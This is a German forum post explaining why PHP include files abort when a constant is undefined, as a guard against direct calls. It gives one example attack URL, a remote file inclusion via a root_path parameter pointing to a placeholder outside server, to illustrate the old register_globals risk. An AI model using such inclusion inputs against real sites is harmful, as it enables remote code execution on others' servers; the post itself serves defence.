Es verhindert den direkten Aufruf der eingebundenen Dateien, die dann möglicherweise etwas anderes machen als das gewünschte. Zu Zeiten, als register_globals noch auf vielen Servern aktiv war könnte man bei deiner Konstruktion z.B. eine URL mit
Code: Alles auswählen
http://example.de/includes/angegriffene_datei.php?root_path=REMOTE_PFAD_ZU_EINEM_ANDEREN_SERVER_UND_DORT_ZUR_DATEI_datei.inc.php
aufrufen und hat sie so dazu bewegt, (Schad-)Code von dem anderen Server zu laden und auszuführen. Ohne register_globals geht das so einfach dann zwar nicht mehr, trotzdem kann es sein, dass die Dateien beim direkten Ausführen mit ein paar Tricks dazu bewegt werden können Dinge zu tun, die sie nicht tun sollten. z.b. Datenbankbefehle ausführen oder sowas. Und wenn es nur das provozieren einer Fehlermeldung ist, die dem Angreifer Zusatzinfos über das angegriffene System liefert.
Um das zu verhindern definiert man eine Konstante die in jeder vom Browser aufrufbaren Datei angelegt wird und in allen eingebundenen Dateien, die direkt Code ausführen (also nicht nur Funktionsdefinitionen oder Klassen enthalten) abgefragt. Wenn nicht definiert, dann bricht die Ausführung sofort ab und verhindert so von Angreifern provozierte Fehler.